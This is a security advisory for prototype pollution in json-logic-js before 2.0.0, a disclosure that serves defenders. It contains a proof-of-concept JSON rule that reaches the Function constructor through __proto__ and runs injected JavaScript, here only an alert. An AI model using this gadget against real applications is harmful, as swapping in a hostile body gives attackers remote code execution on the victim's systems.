GHSA-m9hw-7xfv-wqg7
HIGHPrototype Pollution in json-logic-js
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Affected
| Source | Vendor / ecosystem | Product / package | Affected versions | Fixed in |
|---|---|---|---|---|
| OSV | npm | json-logic-js | < 2.0.0 | 2.0.0 |
References
- https://github.com/jwadhams/json-logic-js/commit/fadfa5dc7ccd1cc5c9a1900a97a15af390bf642b · WEB
- https://www.npmjs.com/advisories/1542 · WEB
- https://www.npmjs.com/package/json-logic-js · WEB
History
- 25 Nov 2026 20:11 UTC · OSV: first stored (published 12 Nov 2020)